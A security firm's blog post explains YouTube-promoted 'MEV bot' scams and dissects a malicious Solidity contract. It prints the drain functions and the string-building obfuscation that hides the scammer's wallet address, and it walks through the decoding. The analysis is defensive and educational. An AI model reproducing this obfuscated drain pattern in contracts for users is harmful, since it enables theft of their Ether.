本文へ移動
Contact

TECHFUND
Media

Hi AUDIT
2024/5/25

Deciphering MEV Bot Scams

In the constantly evolving realm of cryptocurrencies and blockchain technology, scams and hacks unfortunately remain prevalent. As the technology and methodologies progress, so does the sophistication of these malicious activities. One scam gaining considerable attention recently is the MEV Bot Scam. This scam cleverly exploits a user's unfamiliarity with MEV and the Solidity programming language to defraud them of their Ether. Often promoted through YouTube videos, these scams are falsely advertised as an easy way to earn passive income. A quick search of the r/solidity subreddit reveals the scam's widespread nature.

Reddit search results for MEV on the r/solidity subreddit

Understanding MEV and MEV Bots

At the core of this deceptive scam is the concept of MEV, or Maximal Extractable Value. From the Ethereum Documentation:

MEV refers to the maximum value that can be extracted from block production - over and above the standard block reward and gas fees - by manipulating the inclusion, exclusion, and the order of transactions in a block. This concept was first applied in the context of proof-of-work, where it was termed "miner extractable value", as the miners controlled the inclusion, exclusion, and ordering of transactions. However, with the transition to proof-of-stake via The Merge, validators have now assumed these roles, and mining is no longer part of the Ethereum protocol. Despite this, the value extraction methodologies still persist, hence the term "Maximal extractable value" continues to be used.

In simpler terms, MEV is the extra profit that can be made by adjusting transactions within a block.

MEV bots, on the other hand, are software programs meticulously designed to capitalise on MEV opportunities. They achieve this by actively monitoring new transactions on the Ethereum blockchain, identifying profitable opportunities, and executing transactions on behalf of their operators. When a new transaction is detected as profitable by the bot, it strategically resubmits the same transaction with a significantly higher validator reward or gas fee, incentivising validators to process its transaction first. Consequently, the bot reaps the profits from that transaction instead of the original initiator who identified the opportunity. These bots assume various forms, including arbitrage bots, front-running bots, and liquidation bots.

A youtube video showing a scam Arbitrage bot tutorial

But how do MEV bots keep tabs on new transactions and uncover opportunities on the blockchain? This is facilitated through the memory pool, or mempool, which is essentially a list of pending transactions awaiting validation by a node to be included in a block on the blockchain.

However, it's very important to note that smart contracts cannot actively monitor the mempool for several reasons. Firstly, smart contracts can only interact with data already stored on the blockchain, not data that is pending inclusion on the blockchain. Secondly, they only execute when specific transactions trigger their functions. In essence, smart contracts remain dormant until activated by an external input.

Thus, for an MEV bot to function effectively, it needs to operate alongside an Ethereum node on a server, continuously monitoring the network's real-time data to identify and exploit profit-generating opportunities—not residing solely within the blockchain, as misrepresented by these fraudulent schemes.

So while the underlying concept of MEV and the existence of MEV bots are legitimate, it often gets distorted to deceive unsuspecting users into perceiving it as just another form of automated crypto trading, rather than a complex task that requires substantial expertise.

Unraveling the Scam

The YouTube videos typically feature an AI-generated persona briefly explaining various forms of MEV (such as Arbitration or Liquidation), followed by showcasing what appears to be legitimate earnings from the Bot.

The user is then walked through copying the code of a malicious contract, deploying the code through Remix and finally, funding the contract with some Ether. All this is done with the promise that the user will be making a profit in no time.

The code of the contract is cunningly obfuscated, rendering it exceedingly difficult for users to comprehend its true operations. In actuality, any Ether sent to the contract is swiftly transferred directly to the scammer's wallet.

The comments of these videos are also filled with seemingly real people confirming the validity of the bot. These are, in fact, just bots or fake accounts used to increase the trust of the user in the scheme.

Comments from an MEV BOT scam video

First Look at the Malicious Code

Let's take a look at some sample code snippets from one of these malicious smart contracts.

It's crucial to note that this contract should never be deployed under any circumstances and is presented solely for educational purposes.

/*
 * @dev Perform frontrun action from different contract pools
 * @param contract address to snipe liquidity from
 * @return `liquidity`.
 */
function Start() public payable {
    emit Log("Running MEV action. This can take a while; please wait..");
    payable(_callMEVAction()).transfer(address(this).balance);
}

function Stop() public payable {
    emit Log("Stopping contract bot...");
}

/*
 * @dev withdrawals profit back to contract creator address
 * @return `profits`.
 */
function Withdrawal() public payable {
    emit Log("Sending profits back to contract creator address...");
    payable(WithdrawalProfits()).transfer(address(this).balance);
}

These functions are the only ones accessible to the user once they deploy the malicious contract. Both the comments and the logs are crafted to mislead non-tech savvy users regarding the true purpose of the functions.

At first glance, the functions seem to be straightforward:

  1. The Start function supposedly starts the MEV action, which is expected to bring profits.

  2. The Stop function stops the bot.

  3. The Withdrawal function allegedly sends the profits back to the contract creator address.

However, upon a closer look, the deceptive nature of these functions becomes apparent:

  1. In the Start function, the entirety of the contract's balance is transferred to an address supposedly returned by _callMEVAction(). The address returned by the function _callMEVAction() is the scammer's address, thus directing all funds to them.

  2. The Stop function doesn't seem to do anything beyond logging a message, and it's suspiciously payable, meaning it can receive Ether but doesn't use it for anything.

  3. In the Withdrawal function, again, the entire contract's balance is transferred to an address presumably returned by WithdrawalProfits(). This function returns the scammer's address, leading to the loss of all funds.

function _callMEVAction() internal pure returns (address) {
    return parseMempool(callMempool());
}

function WithdrawalProfits() internal pure returns (address) {
    return parseMempool(callMempool());
}

Both functions, callMEVAction() and WithdrawalProfits(), invoke the parseMempool() function with callMempool() as an argument, suggesting they are executing some form of MEV-related action. However, we're aware that smart contracts don't have access to the mempool, so the function parseMempool(callMempool()) must be serving another purpose.

Further Examination of the Malicious Contract

We will dissect the functions parseMempool() and callMempool(), uncovering how they are employed to deceive and defraud users. By examining these in detail, we aim to equip readers with the knowledge and understanding to identify and avoid similar ploys in the future.

The callMempool() function is invoked by the parseMempool() function. It is meant to give the illusion of performing complex activities related to MEV. However, its sole purpose is to generate a string, subsequently passed to parseMempool(), to retrieve an address.

Initially, we will scrutinise how the string representation of the scammer’s address is retrieved within callMempool(), followed by its conversion into an address by parseMempool().

function callMempool() internal pure returns (string memory) {
		 string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 5189487479; //mempool solidity update
        uint _memPoolLength = 246231001; //lenght update
        uint _memPoolSize = 2868471757; //size update
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolDepth = getMemPoolDepth();

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = checkLiquidity(_memPoolHeight);
        string memory _memPool4 = checkLiquidity(_memPoolDepth);

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
}

Let’s break it down one line at a time:

string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));

The initial line executes the mempool() function, utilised for concatenating (joining) two strings. Here, it combines x with the outcome of checkLiquidity(getMemPoolOffset()). Upon examining getMempoolOffset(), we observe it merely returns the number 1685826 .

  function getMemPoolOffset() internal pure returns (uint) {
        return 1685826;
    }

This means checkLiquidity(getMemPoolOffset()) is essentially checkLiquidity(1685826). While the checkLiquidity() function appears to validate the contract's liquidity, it actually converts a number into a hexadecimal string representation. It accomplishes this by repeatedly dividing the input number by 16 until reaching 0. During each iteration, it calculates a remainder (representing a hexadecimal digit) and stores it in a byte array (res). Finally, the byte array is converted into a string.

function checkLiquidity(uint a) internal pure returns (string memory) {
    uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }

        return string(res);
        }

In this contract, 1685826 is converted into the hexadecimal string 19b942. Thus, the first line can be simplified to mempool("x", "19b942"). Since we know mempool() only joins two strings, the final result of the first line is:

string memory _memPoolOffset = "x19b942";

Moving forward, the subsequent five lines simply assign numbers to each variable. As we'll observe later on, these numbers will be transformed into their hexadecimal string representations using the checkLiquidity() function.

    		uint _memPoolSol = 5189487479; //mempool solidity update
        uint _memPoolLength = 246231001; //lenght update
        uint _memPoolSize = 2868471757; //size update
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolDepth = getMemPoolDepth();

The getMemPoolHeight() and getMemPoolDepth() functions introduce further obfuscation but simply return numbers, as demonstrated below:

 function getMemPoolHeight() public pure returns (uint) {
        return 315027; //Height mempool update
    }

    function getMemPoolDepth() public pure returns (uint) {
        return 337648; //depth mempool update
    }

With this in mind, the first six lines of the callMempool() function can be expressed as:

	    	string memory _memPoolOffset = "x19b942";
				uint _memPoolSol = 5189487479; //mempool solidity update
        uint _memPoolLength = 246231001; //lenght update
        uint _memPoolSize = 2868471757; //size update
        uint _memPoolHeight = 315027;
        uint _memPoolDepth = 337648;

The subsequent lines utilise checkLiquidity() to convert numbers into hexadecimal strings and mempool() to concatenate these strings as required.

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = checkLiquidity(_memPoolHeight);
        string memory _memPool4 = checkLiquidity(_memPoolDepth);

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);
        
         return _fullMempool;

Applying the same approach as with the first line to resolve these subsequent ones, we arrive at a simplified form of:

        string memory _memPool1 = "x19b942135514b77";
        string memory _memPool2 = "ead2fd9aaf967cd";
        string memory _memPool3 = "4ce93";
        string memory _memPool4 = "526f0";

        string memory _allMempools = "x19b942135514b77ead2fd9aaf967cd4ce93526f0";
        string memory _fullMempool = "0x19b942135514b77ead2fd9aaf967cd4ce93526f0";
        
         return _fullMempool;

The final line of callMempool() returns _fullMempool which is the hexadecimal string 0x19b942135514b77ead2fd9aaf967cd4ce93526f0 to parseMempool() .

To conclude, we'll delve into the parseMempool() function. Initially, it may seem complex, but its true objective is to transform the string it receives as an argument into an address.

function parseMempool(string memory _a) internal pure returns (address _parsed) {
    bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;

        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
}

When 0x19b942135514b77ead2fd9aaf967cd4ce93526f0 is passed into parseMempool(), the resulting address is 0x19B942135514B77eAD2Fd9AAF967cd4CE93526F0. Presently, this address on Etherscan holds a balance exceeding 1.8 Ether, obtained through scamming others.

Etherscan adddress of a scammer

Reviewing the internal transactions of the address, it becomes evident that it has received a significant amount of Ether from victims who have deployed the malicious contract.

Internal transactions of the scammer's address

Analysing the first transaction (0x62525…), we discover that the transfer of 0.215 ETH was indeed initiated when the user(0x82E7…D6a) called Start() on the malicious contract(0x722e9…929).

An exploit transaction

Conclusion

MEV Bot Scams serve as a stark reminder of the potential dangers lurking in the crypto space. Despite the enticing allure of passive income and the sophisticated veneer of these scams, it's crucial to remember the importance of due diligence and self-education. Be wary of promises of guaranteed returns or passive income, especially in YouTube videos. If you're asked to send cryptocurrency to a wallet or smart contract, do your research first. If a smart contract's code is hard to understand or obscured, it's likely a warning sign.

The best defense against MEV Bot Scams, or any crypto scam for that matter, is education. Learn the basics of Solidity and smart contract development, as well as the core principles of the Ethereum blockchain. If you're unsure or overwhelmed, seek help from experts like TECHFUND, who offer thorough smart contract audit services, or trusted communities like the r/solidity subreddit. In the realm of cryptocurrencies, prioritising safety over potential gains is paramount.

As we continue to navigate this thrilling yet unpredictable new frontier, let us do so with caution, understanding, and the essential knowledge to protect ourselves from those who seek to exploit our lack of understanding.

Read More About Tsuru $410,000 Exploit 

Author: Etornam Ocloo 

Security Researcher at TECHFUND

Hi AUDIT

Hi AUDIT is a high speed, high quality, best price security audit service, providing automated audit SaaS and consulting for web3 startups.
View More